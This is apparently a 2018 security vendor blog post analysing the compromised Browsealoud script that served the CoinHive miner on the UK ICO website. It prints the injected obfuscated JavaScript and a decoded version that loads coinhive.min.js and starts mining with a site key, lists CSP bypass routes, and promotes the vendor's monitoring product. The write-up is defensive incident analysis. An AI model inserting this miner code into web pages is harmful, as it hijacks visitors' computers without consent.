February 14, 2018

ICO Case Study | Tackling Cryptojacking with Real-time Webpage Monitoring

by Pedro Fortuna and Paulo Silva

ico-case-study-tackling-cryptojacking-with-real-time-webpage-monitoring.png

This weekend the UK’s Information Commissioner’s Office website - ICO (https://ico.org.uk/) was caught serving the CoinHive crypto miner to its users. CoinHive crypto miner is a JavaScript that can be installed in any website for mining crypto (e.g. Monero - XMR).

Obviously, this wasn’t the intention of the ICO, an institution that helps protect privacy for UK users. It resulted from a compromise to a 3rd party provider, TextHelp, used in ICO’s website. This was flagged by Scott Helme - securityheaders.io and report-uri.com founder - after a tip from Ian Trump, another security expert.

The Attack

ICO’s website was loading this file: https://www.browsealoud.com/plus/scripts/ba.js, and that’s where the problem starts. By loading a JavaScript straight from a 3rd party website like this, they are basically opening the door for injection attacks. And it’s not a matter of trusting the 3rd party provider or not, as they can unknowingly be compromised, allowing the attackers to use it as a vehicle for the injection.

This was the bit that was added to the ba.js script:

window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"]("\x3c\x73\x63\x72\x69\x70\x74 \x74\x79\x70\x65\x3d\x27\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x27 \x73\x72\x63\x3d\x27\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x6f\x69\x6e\x68\x69\x76\x65\x2e\x63\x6f\x6d\x2f\x6c\x69\x62\x2f\x63\x6f\x69\x6e\x68\x69\x76\x65\x2e\x6d\x69\x6e\x2e\x6a\x73\x3f\x72\x6e\x64\x3d"+window["\x4d\x61\x74\x68"]["\x72\x61\x6e\x64\x6f\x6d"]()+"\x27\x3e\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e");window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"]('\x3c\x73\x63\x72\x69\x70\x74\x3e \x69\x66 \x28\x6e\x61\x76\x69\x67\x61\x74\x6f\x72\x2e\x68\x61\x72\x64\x77\x61\x72\x65\x43\x6f\x6e\x63\x75\x72\x72\x65\x6e\x63\x79 \x3e \x31\x29\x7b \x76\x61\x72 \x63\x70\x75\x43\x6f\x6e\x66\x69\x67 \x3d \x7b\x74\x68\x72\x65\x61\x64\x73\x3a \x4d\x61\x74\x68\x2e\x72\x6f\x75\x6e\x64\x28\x6e\x61\x76\x69\x67\x61\x74\x6f\x72\x2e\x68\x61\x72\x64\x77\x61\x72\x65\x43\x6f\x6e\x63\x75\x72\x72\x65\x6e\x63\x79\x2f\x33\x29\x2c\x74\x68\x72\x6f\x74\x74\x6c\x65\x3a\x30\x2e\x36\x7d\x7d \x65\x6c\x73\x65 \x7b \x76\x61\x72 \x63\x70\x75\x43\x6f\x6e\x66\x69\x67 \x3d \x7b\x74\x68\x72\x65\x61\x64\x73\x3a \x38\x2c\x74\x68\x72\x6f\x74\x74\x6c\x65\x3a\x30\x2e\x36\x7d\x7d \x76\x61\x72 \x6d\x69\x6e\x65\x72 \x3d \x6e\x65\x77 \x43\x6f\x69\x6e\x48\x69\x76\x65\x2e\x41\x6e\x6f\x6e\x79\x6d\x6f\x75\x73\x28\'\x31\x47\x64\x51\x47\x70\x59\x31\x70\x69\x76\x72\x47\x6c\x56\x48\x53\x70\x35\x50\x32\x49\x49\x72\x39\x63\x79\x54\x7a\x7a\x58\x71\'\x2c \x63\x70\x75\x43\x6f\x6e\x66\x69\x67\x29\x3b\x6d\x69\x6e\x65\x72\x2e\x73\x74\x61\x72\x74\x28\x29\x3b\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e');  

The code has a very light obfuscation that just uses Subscript Notation to transform window.document.write into window[‘document’][‘write’] - and subsequently String Encoding to hide all sensitive strings like ‘document’ and ‘write’ and also the references to CoinHive’s URL and code.

Here is a reversed version:

window["document"]["write"]("<script type='text/javascript' src='https://coinhive.com/lib/coinhive.min.js?rnd=" + window["Math"]["random"]() + "'></script>");  
window["document"]["write"]('<script> if (navigator.hardwareConcurrency > 1){ var cpuConfig = {threads: Math.round(navigator.hardwareConcurrency/3),throttle:0.6}} else { var cpuConfig = {threads: 8,throttle:0.6}} var miner = new CoinHive.Anonymous(\'1GdQGpY1pivrGlVHSp5P2IIr9cyTzzXq\', cpuConfig);miner.start();</script>');  

It turns out that the ICO wasn’t the only website affected. More than 4000 websites reported to be loading the infected script directly from browsealoud.com website.

This isn’t too different from the alleged attack against jQuery’s CDN that RiskIQ claims was serving the RIG exploit kit to every user of every website loading jQuery’s directly from their CDN lasting a few hours before the injection was removed. This is far too appealing to attackers that can compromise users at scale by attacking dependencies being loaded dynamically.

The focus of those attacks seems to be shifting to Cryptojacking. Many examples of websites have been compromised recently. jQuery’s blog is one example. The attack on TextHelp is just one of the most recent ones.

Mitigation using CSP + SRI

As pointed out by Scott Helme, one way to mitigate this is to add Subresource integrity (SRI) attributes to the script elements loading the external scripts. He even suggested complementing that with using CSP’s require-sri-for directive to enforce the use of SRI tags.

This is a good suggestion, but it doesn’t work very well if the dependency script needs to be updated regularly, which seems to be the case. A good compromise can be to use CSP to limit the domains where the script is being loaded from.

But this is not perfect. It probably leaves room for injecting arbitrary scripts depending on what domains are whitelisted. This was brilliantly covered by Michele Spagnuolo and Lukas Weichselbaum here. But basically, there are plenty of ways for this to happen. A few examples:

  1. JSONP callback endpoints
  2. Bypasses using AngularJS and other JS frameworks - there are documented CSP bypasses that may allow an attacker to inject arbitrary JS in the page
  3. Use an open redirect on a whitelisted domain, as the path is ignored by CSP after a redirect

The take away from this is that it is really hard to do whitelist-based CSP and skilled attackers will probably find bypasses. A better solution is to use CSP nonces, a base64-encoded sequence that must be unique each time your page loads and must be set as an attribute to both inline and external scripts. This way, the injected script has no way of anticipating the valid nonce and loading will fail. However, in this attack specifically, the bad guy could easily inject the whole coinhive.js file, which would get past the CSP (but not the SRI).

In any case, you still need to use SRI to assure invalid scripts aren’t loaded, but again it's not a good option if the JS lib needs frequent updates. You can always host the file yourself, but that isn’t always possible in cases where the JavaScript is dynamically generated (which is a bad practice anyway).

Regarding CSP, a word of caution, as any header-based web security control can be disarmed by a browser extension.

Mitigation using Real-time Monitoring of the Webpage

If there’s no infallible way of being sure malicious code or markup is injected into your website, then the next best thing is to know about it and react in real-time. That’s precisely what one is able to do with Jscrambler’s Webpage Integrity technology. It monitors the Webpage DOM for any injection and reports back to a webhook on the backend. It detects any change, including 0-day threats, not just known injections.

In some cases it can also remove the injection on the spot. It may not be a permanent removal at first, but it’s extremely useful because not only it prevents that execution from affecting that session, it also tells you what was injected. It is possible then to figure out how that injection was inserted in the first place and take measures to fix the situation permanently.

It’s similar to CSP report interface, but it does not use CSP at all. There’s some overlapping, but you get the best protection when you use both. The advantages of Webpage Integrity’s approach is that contrary to CSP, one can be warned immediately if a script changes and starts pouring script tags into the DOM, allowing for a real-time reaction. This is definitely relevant in situations where SRI is not an option (e.g. script needs to be updated in real-time).

The maliciously modified ba.js is not being served anymore from browsealoud.com, but our team replicated the attack by forcing the infected ba.js version (instead of the current one) into ICO’s website. At the same time we manually injected the Webpage Integrity Embedded Agent into ICO’s website to monitor the webpage DOM. The goal was to catch the output of the document.write’s landing on the ICO’s webpage DOM and mitigate the attack.

Not only we were able to catch the injected <script> loading the CoinHive’s script, but also the inline script initializing the lib and kickstarting the mining. You can see this in the dashboard (see figure below) and at the same time you receive a notification on your backend upon which you can configure security policies.

webpage-integrity-dashboard-showing-an-injection

Figure 1 - Webpage Integrity Dashboard showing one of the injections

The following video is a proof-of-concept of a reconstruction of the ICO cryptojacking attack and how it would have been detected with Real-time Webpage Monitoring.

Conclusions

With the growing popularity (and value) of cryptocurrencies, attackers are turning to steal our computer’s cycles as a way to get cash. Cryptojacking is all over the news in the last year or so.
This TextHelp incident is just one more demonstration of how appealing this is for attackers, especially if they are able to compromise 3rd party dependencies, and target many websites in with a single blow. We are sure to see more of these attacks in the future.

CSP is helpful for restricting external JavaScript from being loaded in a website, but is not meant to assure the integrity of scripts that it expects to load. SRI can lay a hand there, but it’s hard to maintain when the scripts change often.

Jscrambler’s Webpage Integrity is a new approach that monitors the webpage in real-time for DOM modifications, JS poisoning attacks, JS event-hijacking and XSS - and reports back to the backend, allowing the webapp to react immediately. With it, we were able to demonstrate that we can catch the injection from TextHelp’s compromised script and would have been able to notify the ICO (or any other website likely to have been hit).

As a final note, here is a “what if” exercise: in these exploits, the attacker only cared about using the end-users’ CPU to mine crypto. However, the ability to execute arbitrary JavaScript in the webpage would allow the attacker to collect any sensitive information that the user accesses or completely modify the DOM and trick the user into giving away his credentials or perform some action not in his best interest. Client-side injections are a problem that need to be tackled as hard as one can.